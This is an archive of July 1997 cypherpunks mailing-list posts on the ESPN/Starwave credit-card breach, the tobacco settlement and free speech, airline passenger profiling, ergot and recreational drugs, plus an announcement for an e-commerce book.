> But why hasn't some cleaver graduate student engineered a common mold or
> yeast to yield easily extracted (or directly ingestible) common
> recreational pharmaceuticals?  Ideally it would be a perpetual source, like

	You mean like psilosybin (sp?) mushrooms? 






From snow at smoke.suba.com  Thu Jul 10 20:10:12 1997
From: snow at smoke.suba.com (snow)
Date: Fri, 11 Jul 1997 11:10:12 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: <199707110306.WAA02784@smoke.suba.com>



> >try to haul off people who have pond scum in their bird feeders and the
> >like.  (Anything that will make them look even more absurd...)
> Speaking of which, I recall that the origins of LSD were from some kind of
> fungus or "rust" found on some types of grain.

	Ergot, a mold that grows on certain types of Rye or fescue, I forget
which. This is used to make Ergotamine (imine?) which is used in treatment
of certain types of migraines. 






From alan at ctrl-alt-del.com  Thu Jul 10 20:20:57 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Fri, 11 Jul 1997 11:20:57 +0800
Subject: Hacker cracks ESPN
In-Reply-To: <1.5.4.32.19970711013002.006d30e4@pop.pipeline.com>
Message-ID: <3.0.2.32.19970710200813.03f1f290@mail.teleport.com>



At 09:30 PM 7/10/97 -0400, John Young wrote:
>
>Lynn Harrison wrote:
>
>>Starwave is warning customers about an "intruder" who took credit card
>>numbers from the ESPN and NBA Web sites and then sent messages to the card
>>owners about the alleged security flaws. Will the security breach on the
>>popular sports sites affect emerging e-commerce efforts?
>
>Is this the same story as the one in The Wall Street Journal today
>about Phiber Optic's "accidentally" sending worldwide a security
>test that automatically returns passwords stored on supposedly
>secure systems?

Nope.

http://www.computerworld.com/news/news_articles/970710onlineccard.html

Online credit-card scare an inside job,
          Starwave says 

          Two separate but chilling messages were sent to people who
          purchased items online from ESPNet or the NBA Store this
          week. The first anonymous E-mail told shoppers they had
          been the victims of careless security and that their
          credit-card numbers and addresses were easily available.

          The second message, sent by E-mail and regular mail by the
          World Wide Web sites' host, Starwave Corp., alerted 2,397
          online shoppers that their credit-card information might have
          been misappropriated.

          Starwave said the credit-card information was in a secure,
          encrypted area that was accessed by an intruder who had
          the proper password information. "This was not done by a
          hacker," said Jennifer Yazzolino, a Starwave spokeswoman.
          "They knew how to get in to the system and unlawfully used
          classified information." The area that the intruder broke in to
          was an order-processing system that sends shoppers'
          orders from each site to 1-800-PRO-TEAM, a Florida
          fulfillment company.

          Following the break-in, Starwave called in the FBI and the U.S.
          Secret Service to investigate. It has also implemented a new
          encryption process and changed all system passwords. "We
          think this is a matter of a password either being used
          directly by someone involved with the system or passed along
          directly by someone involved in the system," Yazzolino said. 

          "We relied too much on human integrity."

>Phiber claims he did not know the test would generate a flood of
>passwords to his e-mail address: from corps, mils, and govs. 
>Says he's so sorry, especially because he's still doing
>community service.

One of the articles on the "hack" revealed that it was the INN hole
reported a while back.  The only people who got "caught" by the hack were
people who did not update their software.

>Phiber's employer refused to name the computer corp that installed the
>secure system Phiber was testing. However, experts interviewed said 
>the password snarf feature is, ahem, well-known to experts, and that 
>the only security worth trusting is the one you build and run yourself 
>and test frequently and still makes you lay awake at night shivering in 
>doubt fear and uncertainty -- like guilty-parental senators, TLA directors, 
>and all the world's bearers of the public trust and such fundy druggies.

It also shows what happens when you do not follow even the basic CERT
warnings...

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From mclow at owl.csusm.edu  Thu Jul 10 20:21:29 1997
From: mclow at owl.csusm.edu (Marshall Clow)
Date: Fri, 11 Jul 1997 11:21:29 +0800
Subject: Airlines to start profiling, bag matching
In-Reply-To: <33C57D63.422E@nwdtc.com>
Message-ID: 



>Others say profiling may discriminate against some ethnic groups.
>"Passengers should not have to give up essential liberties just to get
>on planes," says the ACLU's Gregory Nojeim.
>
Yes, but we've already lost that fight.
Your papers, please?

-- Marshall

Marshall Clow     Aladdin Systems   

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997







From mclow at owl.csusm.edu  Thu Jul 10 20:21:40 1997
From: mclow at owl.csusm.edu (Marshall Clow)
Date: Fri, 11 Jul 1997 11:21:40 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: 



At 3:36 PM -0700 7/10/97, Peter Swire wrote:
>At 09:29 AM 7/10/97 -0700, Tim May wrote:
>
>>I'm not a lawyer, but I am interested in the various ramifications--and the
>>constitutionality--of recent "sweeping contracts" between vendors,
>>lawmakers, consumers, etc.
>>
>>Two recent example:
>>
>>1. The "tobacco agreement." Supposedly a deal involving the transfer of
>>$360 billion from some number of tobacco companies in exchange for dropping
>>of liability suits, immunity from future claims, voluntary restrictions (!)
>>on advertising, etc. (And the "etc." is especially complicated in this huge
>>case.)
>
>        So far as I know, the agreement has no legal effect until and unless
>a bill is enacted in Congress. Once a bill is enacted, there can obviously
>be far-reaching ramifications.  For instance, an individual's right to sue
>in tort can be cut off.  Punitive damages can be abolished for the defined
>class of suits, etc.
>        If such a bill is enacted, various groups would likely sue on the
>basis that it is unconstitutional.  That's what happened with CDA -- the
>indecency provisions first became law, and then were overturned in the courts.
>
That was my take, too.

IANAL, but I don't see how this "agreement" can possibly work.
Especially since it's not an agreement at all.

Congress will pass a law, and if the tobacco companies don't like
it, (a foregone conclusion, given the posturing going on) they will
sue to overturn it. (And again IMHO, they'll win.)

Then congress will pass another law more to the
tobacco companies liking.

I predict this will not be settled until after Clinton leaves office.

>>2. The "voluntary ratings" agreement being announced today by Al Gore and
>>some of the television networks. (Earlier "voluntary agreements" were
>>implemented, but, according to supporters of censorship, "failed." Hence
>>the new push for newer voluntary restrictions.)
>
>        The big legal fight on ratings is whether any "state action" takes
>place.  The First Amendment governs efforts by a federal or state government
>to restrict speech.  If private companies "voluntarily" agree to do
>something, the First Amendment simply does not apply.  But if the coercive
>power of the state forces them to do the same thing, then the courts can get
>involved under the First Amendment.
>        Here, if the government is too explicit that it will ban certain
>speech unless the networks ban it, then a court might find that the
>government in fact is involved in an impermissible way.
>
What is the (legal) downside to a network (or producer)
saying "No, I won't rate my shows."?
Personally, I'd love to see Disney do this.

-- Marshall

Marshall Clow     Aladdin Systems   

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997







From NEILM at GIB.CO.NZ  Thu Jul 10 20:43:35 1997
From: NEILM at GIB.CO.NZ (Neil McKenty (WWBAKL))
Date: Fri, 11 Jul 1997 11:43:35 +0800
Subject: Recreational pharmaceuticals by genetic engineering
Message-ID: 





>-----Original Message-----
>From:	snow [SMTP:snow at smoke.suba.com]
>Sent:	Friday, 11 July 1997 15:06
>To:	tcmay at got.net
>Cc:	cypherpunks at toad.com
>Subject:	Re: Recreational pharmaceuticals by genetic engineering
>
>> >try to haul off people who have pond scum in their bird feeders and the
>> >like.  (Anything that will make them look even more absurd...)
>> Speaking of which, I recall that the origins of LSD were from some kind of
>> fungus or "rust" found on some types of grain.
>
>	Ergot, a mold that grows on certain types of Rye or fescue, I forget
>which. This is used to make Ergotamine (imine?) which is used in treatment
>of certain types of migraines. 
>
>
>They also use the same mould, ergot, to make hydergine.  A supposed smart
>drug/nutrient.






From kalakota at uhura.cc.rochester.edu  Thu Jul 10 20:45:10 1997
From: kalakota at uhura.cc.rochester.edu (Ravi Kalakota)
Date: Fri, 11 Jul 1997 11:45:10 +0800
Subject: Electronic Commerce Book
Message-ID: <199707110332.XAA20016@uhura.cc.rochester.edu>




Announcing a new book on Electronic Commerce
--------------------------------------------

Electronic Commerce: A Manager's Guide

by Ravi Kalakota and Andrew Whinston 
--------------------------------------------
ISBN: 0-201-88067-9, softcover, 440 pages, 1997
PUBLISHER: Addison-Wesley (1-800-822-6339)
--------------------------------------------

This book is a manifesto for a new set of managers who seek to reap the elusive
rewards of the online marketspace. This book offers a multitude of real-world
scenarios and lessons for building value and creating the competitive edge. The
book answers strategic questions such as:

- What business models are competitors using in the various industry segments
of e-commerce?

- What are the key management questions that need to be addressed in order to
create an effective buisness online?

- How should companies be organized using Intranets to manage the external
commerce?

If you lead a small startup or work in a Fortune 1000 firm, whether your company
has an established online presence, or is just starting out, The Manager's Guidemay be the most important book you read this year.

Table of Contents:
------------------
1. Introduction to Electronic Commerce

                    Defining Electronic Commerce 
                    Brief History of Electronic Commerce 
                    Forces Fueling Electronic Commerce 
                    Electronic Forces 
                    Marketing and Customer Interaction Forces 
                    Technology and Digital Convergence 
                    Implications of Various Forces 
                    Electronic Commerce Industry Framework 
                    The Information Superhighway 
                    Multimedia Content and Network Publishing 
                    Messaging and Information Distribution 
                    Common Business Services Infrastructure 
                    Other Key Support Layers 
                    Putting the Framework into Action: Microsoft Corporation 
                    Types of Electronic Commerce 
                    Inter-organizational Electronic Commerce 
                    Intra-organizational Electronic Commerce 
                    Consumer-to-Business Electronic Commerce 
                    Intermediaries and Electronic Commerce 
                    Key Questions for Management 
                    Competitive Pressure 
                    External Threat 
                    Incorporating Changes 
                    Designing New Organizational Structures 
                    Managerial Options and Priorities 
                    Summary 

          2. The Internet and the Access Provider Industry

                    Internet Service Providers 
                    Key Market Drivers for the Internet 
                    Who Is Making Money on the Internet 
                    Clarifying Internet Terminology 
                    Companies Providing Internet Access 
                    Internet Topology 
                    Differentiating Market Segments: Commercial versus Consumer 
                    Internet versus Online Services 
                    Open versus Closed Architecture 
                    Controlled Content versus Uncontrolled Content 
                    Metered Pricing versus Flat Pricing 
                    Innovation versus Control 
                    Predicting the Future of the IAP Market 
                    Convergence Leading to Competition 
                    Service and Capacity Management 
                    Customer Service, Loyalty, and Retention 
                    Marketing 
                    Customer Education 
                    Changing Technology behind Internet Access 
                    Changing Technology behind the Access Provider 
                    Summary 

          3. World Wide Web--Applications

                    Brief History of the Web 
                    What Exactly Is the Web? 
                    Why Is the Web Such a Hit? 
                    The Web and Ease of Use 
                    The Web and Ease of Publishing 
                    The Web as a New Distribution Channel 
                    The Web and Network-Centric Computing 
                    The Web and New Intra-Business Applications 
                    The Web and Electronic Commerce 
                    The Web and Intra-Business Commerce 
                    Other Intranet Applications 
                    Intranet Advantages and Disadvantages 
                    Management of Intranets 
                    Understanding the Intranet Architecture 
                    Summary 

          4. World Wide Web--Concepts and Technology

                    Key Concepts behind the Web 
                    Overview of the Web's Technical Architecture 
                    Interactive Web Applications 
                    Interactive Applications 
                    Interactivity and Information Integration 
                    Web Extensions for Interactive Applications 
                    Web and Database Integration 
                    Web Database Products 
                    HTML Forms and CGI Programs 
                    Web Software Developmental Tools 
                    Need for Better Programming Languages 
                    New Programming Language: Java 
                    Technically Speaking: What Exactly Is Java? 
                    Role of Java in Electronic Commerce 
                    How Does Java Work? 
                    Business Reasons for Using Java 
                    Multimedia Web Extensions 
                    Virtual Reality Modeling Language (VRML) 
                    RealAudio 
                    Internet and Web-based Telephony 
                    Directories and Search Engines 
                    Lycos 
                    Summary 

          5. Firewalls and Transaction Security

                    Firewalls and Network Security 
                    Types of Firewalls 
                    Firewall Security Policies 
                    Emerging Firewall Management Issues 
                    Transaction Security 
                    Types of Online Transactions 
                    Requirements for Transaction Security 
                    Encryption and Transaction Security 
                    Secret-Key Encryption 
                    Public-Key Encryption 
                    Implementation and Management Issues 
                    World Wide Web and Security 
                    Netscape's Secure Sockets Layer 
                    Security and Online Web-based Banking 
                    Summary 

          6. Electronic Payment Systems

                    Overview of the Electronic Payment Technology 
                    The Online Shopping Experience 
                    Limitations of Traditional Payment Instruments 
                    Electronic or Digital Cash 
                    Properties of Electronic Cash 
                    Digital Cash in Action 
                    Electronic Checks 
                    Benefits of Electronic Checks 
                    Electronic Checks in Action 
                    NetCheck: A Prototype Electronic Check System 
                    Electronic Check Project 
                    Online Credit Card-Based Systems 
                    Types of Credit Card Payments 
                    Secure Electronic Transactions (SET) 
                    Other Emerging Financial Instruments 
                    Debit Cards at the Point of Sale (POS) 
                    Debit Cards and Electronic Benefits Transfer 
                    Smart Cards 
                    Consumer, Legal, and Business Issues 
                    Summary 

          7. Electronic Commerce and Banking

                    Changing Dynamics in the Banking Industry 
                    Changing Consumer Needs 
                    Cost Reduction 
                    Demographic Trends 
                    Regulatory Reform 
                    Technology-based Financial Services Products 
                    Home Banking History 
                    Why Will It Be Different This Time? 
                    Home Banking Implementation Approaches 
                    Home Banking Using Bank's Proprietary Software 
                    Banking via the PC Using Dial-Up Software 
                    Banking via Online Services 
                    Banking via the Web: Security First Network Bank 
                    Open versus Closed Models 
                    Management Issues in Online Banking 
                    Differentiating Products and Services 
                    Managing Financial Supply Chains 
                    Pricing Issues in Online Banking 
                    Marketing Issues: Attracting Customers 
                    Marketing Issues: Keeping Customers 
                    Back-Office Support for Online Banking 
                    Integrating Telephone Call Centers with the Web 
                    Summary 

          8. Electronic Commerce and Retailing

                    Changing Retail Industry Dynamics 
                    Overbuilding and Excess Capacity 
                    Demographic Changes 
                    Consumer Behavior 
                    Technology Improvements in Electronic Retailing 
                    Online Retailing Success Stories 
                    Online Retailing: Peapod's Experience 
                    CUC International 
                    Wine on the Web: Virtual Vineyards 
                    Web-based Travel Agencies 
                    Mercantile Models from the Consumer's Perspective 
                    Distinct Phases of a Consumer Mercantile Model 
                    Prepurchase Preparation 
                    Purchase Consummation 
                    Postpurchase Interaction 
                    Management Challenges in Online Retailing 
                    Come Up with a Retailing Strategy 
                    Manage Channel Conflict 
                    Learn to Price Online Products/Services 
                    Deliver a Satisfying Shopping Experience 
                    Design the Layout of an Online Store 
                    Manage Brands 
                    Create the Right Incentives 
                    Summary 

          9. Electronic Commerce and Online Publishing

                    Why Online Publishing? 
                    Online Publishing Strategies 
                    Online Publishing Approaches 
                    Full-Text and Bibliographic Databases 
                    Personalized and Customized News 
                    Business Information and News Delivery 
                    Edutainment = Education + Entertainment 
                    Online Publishing Success Stories 
                    PointCasting 
                    Time Warner's Pathfinder 
                    Disney Online 
                    Integrating TV and Data Streams: Intercasting 
                    Advertising and Online Publishing 
                    An Online Publishing Missing Piece: Measurement 
                    Digital Copyrights and Electronic Publishing 
                    Online Copyright Protection Methods 
                    Summary 

          10. Intranets and Supply-Chain Management

                    Supply-Chain Management Fundamentals 
                    Pull versus Push Supply-Chain Models 
                    Elements of Supply-Chain Management 
                    Integrating Functions in a Supply Chain 
                    Managing Retail Supply Chains 
                    The Order Management Cycle (OMC) 
                    Supply-Chain Application Software 
                    Software for Supply-Chain Management 
                    Recent Trends in Application Software 
                    What Is the Business Market? 
                    Understanding the Application Software Architecture 
                    Future of Supply-Chain Software 
                    Intranets and Network-Centric Computing 
                    Intranets and Application Software 
                    Impact of the Web on Application Software 
                    Elaborating on the Intranet Architecture 
                    What Remains to Be Done? 
                    Summary 

          11. Intranets and Customer Asset Management

                    Why Customer Asset Management? 
                    Challenges in Implementing Customer Asset Management 
                    Customer Asset Management and Supply Chains 
                    Online Sales Force Automation 
                    What Is Sales Force Automation? 
                    Elements of Online Sales Automation 
                    Intranets and Sales Automation 
                    What Are the Management Issues? 
                    Online Customer Service and Support 
                    The Web and Customer Service 
                    The Role of Technology in Customer Service 
                    What Are the Business Requirements? 
                    The Enabling Intranet Technology 
                    Technology and Marketing Strategy 
                    Marketing Decision Support Systems 
                    Marketing Decision Support Applications 
                    Summary 

          12. Intranets and Manufacturing

                    Defining the Terminology 
                    Integrated Logistics 
                    Agile Manufacturing 
                    Emerging Business Requirements 
                    Customer-Driven Manufacturing 
                    Rapid Internal Response to Demand Changes 
                    Efficiently Managing Supply Chain Complexity 
                    Manufacturing Information Systems 
                    Discrete versus Process Manufacturing Market 
                    Types of Manufacturing Information Systems 
                    Intranet-Based Manufacturing 
                    Customer-Driven Manufacturing 
                    Real-Time Decision Support 
                    Intelligent Process Management 
                    Logistics Management 
                    Problems with Traditional Logistics Management 
                    Case Study: Microsoft Corp Integrated Logistics 
                    Objective of Modern Logistics Function 
                    Forecasting 
                    Purchasing 
                    Distribution Management 
                    Electronic Data Interchange (EDI) 
                    Benefits of EDI 
                    EDI in Action 
                    Why Has EDI Adoption Lagged? 
                    Summary 

          13. Intranets and Corporate Finance

                    Intranets and Finance 
                    What Exactly Are Financial Systems? 
                    What Do Financial Systems Do? 
                    Financial Intranets 
                    Understanding the Different Software Modules 
                    Transaction Accounting and Electronic Commerce 
                    Financial Analysis and Management Accounting 
                    Inventory Accounting 
                    Payment Management 
                    Treasury and Cash Management 
                    Human Resources Management Systems 
                    HRMS Functions 
                    Size/Structure of Financials Software Market 
                    Product Strategy 
                    Financial Data Warehouses 
                    How Are Firms Using the Web for OLAP? 
                    Desirable Software Requirements 
                    Summary 






From alan at ctrl-alt-del.com  Thu Jul 10 20:50:18 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Fri, 11 Jul 1997 11:50:18 +0800
Subject: Airlines to start profiling, bag matching
In-Reply-To: <33C57D63.422E@nwdtc.com>
Message-ID: <3.0.2.32.19970710204125.00b7b9f0@mail.teleport.com>



At 08:13 PM 7/10/97 -0700, Marshall Clow wrote:
>
>>Others say profiling may discriminate against some ethnic groups.
>>"Passengers should not have to give up essential liberties just to get
>>on planes," says the ACLU's Gregory Nojeim.
>>
>Yes, but we've already lost that fight.
>Your papers, please?

"Is this Nazi land so good?  Would you leave it if you could?" - from the
missing part of the Clinton inaguration speech
---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From lharrison at mhv.net  Thu Jul 10 21:02:33 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Fri, 11 Jul 1997 12:02:33 +0800
Subject: Hacker cracks ESPN
In-Reply-To: <1.5.4.32.19970711013002.006d30e4@pop.pipeline.com>
Message-ID: <3.0.2.32.19970710234453.006b9ed8@pop.mhv.net>



At 08:08 PM 7/10/97 -0700, Alan Olsen wrote:
>
>          Starwave said the credit-card information was in a secure,
>          encrypted area that was accessed by an intruder who had
>          the proper password information. "This was not done by a
>          hacker," said Jennifer Yazzolino, a Starwave spokeswoman.
>          "They knew how to get in to the system and unlawfully used
>          classified information." The area that the intruder broke in to
>          was an order-processing system that sends shoppers'
>          orders from each site to 1-800-PRO-TEAM, a Florida
>          fulfillment company.

Which, in other words, is an attempt to imply that someone "knew" the
password?  Note, however, that their press release does say: "who had the
proper password *information*".


>Following the break-in, Starwave called in the FBI and the U.S.
>Secret Service to investigate.

IMO, they should hire the person.  At least, s/he showed how insecure their
"secure encrypted area" was which was more than their own employees did.


>It has also implemented a new encryption process and
>changed all system passwords.

Good luck, fellas....



*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison at mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.






From proff at iq.org  Fri Jul 11 12:21:23 1997
From: proff at iq.org (proff at iq.org)
Date: Fri, 11 Jul 1997 12:21:23 -0700 (PDT)
Subject: Underground extract: System X
In-Reply-To: <199707111910.VAA27565@sky.new.co.za>
Message-ID: <19970711192051.2426.qmail@iq.org>


> > Anyone read this book? Apparently the first in-depth investigation
> > into the international computer underground to come out of the
> > Southern-Hemisphere - or so I'm told ;)  - J.A
> > 
> > Extracts from Underground - The true nature of System X
> > 
> >   Extracted from Chapter 10 - "Anthrax - The Outsider"
> >   
> >    Note: System X's name has been changed for legal reasons.
> >    
> 
> Do you know where I could get the full version of this book.
> Thanks 
> Dale
> E-Mail:  humbles at new.co.za

Try www.underground-book.org/order.html

Cheers,
Julian.






From tcmay at got.net  Thu Jul 10 22:10:16 1997
From: tcmay at got.net (Tim May)
Date: Fri, 11 Jul 1997 13:10:16 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: 



A thoughtful response from Peter Swire.

(Note to the lawyers, law professors, and other "reasonable" list readers
out there: We "extremists" might not be so consistently extremist if more
of you would write articles and/or responses. I used to write a lot of
fairly "reasonable" articles...of late I've lost much of my former patience
under the onslaught of major legislative proposals. The lack of articles
from the "reasonable" camp, for whatever reasons (*), has also helped shift
the debate to the more extreme side. (* Maybe they're tired of being
reasonable, too.))

At 3:36 PM -0700 7/10/97, Peter Swire wrote:
>At 09:29 AM 7/10/97 -0700, Tim May wrote:
>
>>I'm not a lawyer, but I am interested in the various ramifications--and the
>>constitutionality--of recent "sweeping contracts" between vendors,
>>lawmakers, consumers, etc.
>>
>>Two recent example:
>>
>>1. The "tobacco agreement." Supposedly a deal involving the transfer of
>>$360 billion from some number of tobacco companies in exchange for dropping
>>of liability suits, immunity from future claims, voluntary restrictions (!)
>>on advertising, etc. (And the "etc." is especially complicated in this huge
>>case.)
>
>        So far as I know, the agreement has no legal effect until and unless
>a bill is enacted in Congress. Once a bill is enacted, there can obviously
>be far-reaching ramifications.  For instance, an individual's right to sue
>in tort can be cut off.  Punitive damages can be abolished for the defined
>class of suits, etc.

Interestingly, the public officials/lawyers fighting the tobacco companies
are making clear statements of what will now happen. I agree that the
Congress has to pass the enabling legislation, blah blah.

But what Mike Moore, Attorney General of Mississsippi and the lead
prosecutor/whatever in the Grand Deal, said today is, paraphrasing: "There
will be no more Joe Camel ads, no more Marlboro Man ads, no more ads to
entice smokers."

This certainly sounds to me like a major law enforcement official crowing
about the deal reached. (And he seems to be implying that even companies
not in the Grand Deal will be similarly affected.)

Does this fit with the scenario you described (later in your post) for
evidence that the agreement was not voluntary? And are non-participants in
the Grand Deal to be bound by the legislation Congress will likely pass?
(My answer is the same as yours, I think: the Grand Deal will only be used
to trigger legislation. All companies will of course be bound by this
legislation. Some of the companies or civil liberties groups will sue on
various grounds. Supreme Court outcome unclear.)

>        If such a bill is enacted, various groups would likely sue on the
>basis that it is unconstitutional.  That's what happened with CDA -- the
>indecency provisions first became law, and then were overturned in the courts.

The Deal will likely unravel in various ways, except that the worst parts
of it--tightened restrictions on tobacco--will be enacted by Congress.

(I say "worst" in the liberty/freedom of choice sense. Personally, I have
never smoked a single cigarette and think anyone who does is foolish. But
being foolish is everyone's right. Taking away choice is not a solution a
free society can live with. This applies to advertising, which is pure
speech, in my view--the aforementioned point about sponsorship of sporting
events, or print ads, has zero, zip, nada to do with any alleged FCC role
in limiting use of the "public airwaves," so it's a speech issue. There are
possible FTC (advertising claims) and FDA (safety of nicotine if it is
deemed a drug) roles that some could plausibly argue, but these are not
central in the Grand Deal discussions, and are not at all the same as
halting sports advertising, etc. Lots of issues, obviously, and our posts
are only touching on a few facets.)

>>2. The "voluntary ratings" agreement being announced today by Al Gore and
>>some of the television networks. (Earlier "voluntary agreements" were
>>implemented, but, according to supporters of censorship, "failed." Hence
>>the new push for newer voluntary restrictions.)
>
>        The big legal fight on ratings is whether any "state action" takes
>place.  The First Amendment governs efforts by a federal or state government
>to restrict speech.  If private companies "voluntarily" agree to do
>something, the First Amendment simply does not apply.  But if the coercive
>power of the state forces them to do the same thing, then the courts can get
>involved under the First Amendment.

And getting back to the tobacco case,  Mississippi Att. General Mike Moore
seems mighty convinced that this "deal" will result in Joe Camel, the
Marlboro Man, etc., being permanently off the advertising pages of
magazines, off the sporting events, and so on.

If it remains an "industry deal" I see no way it could apply to Tim's
Tobacco Company, who was not a party to any such agreement.

And if Congress passes a law saying that no tobacco company may use cartoon
characters to advertise its products, this seems like a clear case of prior
restraint and dictation of advertising copy. Ditto for sporting events, etc.

A third possibility, and one which deserves a longer essay by someone, is
the role quasi-private organizations play. To cut to the chase,
organizations like the American Bar Association, American Medical
Association, etc.

These "guilds" are an interesting case of self-policing where there is no
option for opting out. (I don't believe it is possible to practice law or
medicine without approval/licensing from these kinds of
organizations/guilds.)

If the AMA cuts a deal with the government, can doctors argue that their
constitutional rights have been infringed upon?

(I can imagine cases where this is so, such as if the AMA adopted a
requirement that doctors speak in English only as a condition for retaining
their licenses. And so on, for other examples. But it is also clear that
these kinds of guilds are usually the preferred route of implementing
policy....)

Licensing in general is something I think is getting out of hand.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From azur at netcom.com  Thu Jul 10 22:54:48 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 11 Jul 1997 13:54:48 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: 



>Men from black helicopters forced Tim May to say:

>(I say "worst" in the liberty/freedom of choice sense. Personally, I have
>never smoked a single cigarette and think anyone who does is foolish. But
>being foolish is everyone's right. Taking away choice is not a solution a
>free society can live with. This applies to advertising, which is pure
>speech, in my view--the aforementioned point about sponsorship of sporting
>events, or print ads, has zero, zip, nada to do with any alleged FCC role
>in limiting use of the "public airwaves," so it's a speech issue. There are
>possible FTC (advertising claims) and FDA (safety of nicotine if it is
>deemed a drug) roles that some could plausibly argue, but these are not
>central in the Grand Deal discussions, and are not at all the same as
>halting sports advertising, etc. Lots of issues, obviously, and our posts
>are only touching on a few facets.)


What if private citizens decided to place Joe Camel ads in print and TV or
sponsor an event.  Would they also be constrained in their freedom of
speech?

--Steve








From blancw at cnw.com  Thu Jul 10 22:59:58 1997
From: blancw at cnw.com (Blanc)
Date: Fri, 11 Jul 1997 13:59:58 +0800
Subject: Acclivity - A global web of change management
Message-ID: <3.0.32.19970710225813.0068c988@cnw.com>



At , Marc Fourny wrote:

>7 finally, we train the change team to innovate, install and implement new
structures and systems. In addition we develop a new project management
capability which is particularly key to success when radical change is
involved. 
>
>I would welcome the opportunity therefore of discussing with you your own
tranformation programme to see how we might be able to add value to your
own resources.
............................................................


Well, we could use some help with the Revolution.    We need a crack team
of precision go-getters who will lead the way towards the new
anarcho-capitalist utopia, overcoming all the obvious & sundry obstacles in
the way, particularly over by D.C. way.

Or, how about another way to have an alternative internet which develops
the way it originally grew and became so popular, before commercial
organizations and spamming gold-diggers noticed it and got this idea that
they could syphon advantages from it if only they could just control it,
shaping it in their image, turning it in their direction.

That would do it, for me.



    ..
Blanc






From blancw at cnw.com  Thu Jul 10 23:04:16 1997
From: blancw at cnw.com (Blanc)
Date: Fri, 11 Jul 1997 14:04:16 +0800
Subject: Cast of Characters for Crypto Politics (Judiciary Hearing)
Message-ID: <3.0.32.19970710224019.00a212b8@cnw.com>



At 12:15 PM 7/10/97 +0200, Anonymous wrote:

>  Does anyone know what color Blanc wears?
.......................................................


     White.



    ..
Blanc






From frantz at netcom.com  Thu Jul 10 23:21:48 1997
From: frantz at netcom.com (Bill Frantz)
Date: Fri, 11 Jul 1997 14:21:48 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: 
Message-ID: 



At 9:29 AM -0700 7/10/97, Tim May wrote:
>(Caveat: My personal and libertarian view is that lawsuits against
>cigarette companies are wrong and should not be supported in a free
>society. And lawsuits by various states to "recover health care costs" are
>especially bogus. By this logic, McDonald's could be sued by California
>because California paid out more health care benefits to meat-eaters than
>it did to vegetarians. Utterly bogus.)

It is especially bogus since it is not clear that the government isn't a
net winner between reduced social security and pension payments, and the
extra income from tobacco taxes.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From tcmay at got.net  Thu Jul 10 23:27:34 1997
From: tcmay at got.net (Tim May)
Date: Fri, 11 Jul 1997 14:27:34 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: 
Message-ID: 



At 11:20 PM -0700 7/10/97, Bill Frantz wrote:
>At 9:29 AM -0700 7/10/97, Tim May wrote:
>>(Caveat: My personal and libertarian view is that lawsuits against
>>cigarette companies are wrong and should not be supported in a free
>>society. And lawsuits by various states to "recover health care costs" are
>>especially bogus. By this logic, McDonald's could be sued by California
>>because California paid out more health care benefits to meat-eaters than
>>it did to vegetarians. Utterly bogus.)
>
>It is especially bogus since it is not clear that the government isn't a
>net winner between reduced social security and pension payments, and the
>extra income from tobacco taxes.

And of course the government has been subsidizing tobacco growing for the
last half century (at least).

Even non-libertarians see the absurdity in all this.

(But these same friends and family will cheerfully admit that "there ought
to be a law" banning tobacco. Especially some of those who smoke...they
want the government to pass a law, wave a magic wand, and cure their
smoking habit.)

The only consistent, reasonable, just solution is basically the libertarian
one (note that I am not using the word Libertarian). Namely:

Individual responsibility, free choice, a drastically reduced set of laws,
and end to all subsidies of any and all products, reduced tariffs, and an
end to social engineering through tax and tariff policies and
incentives/disincentives to businesses.


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
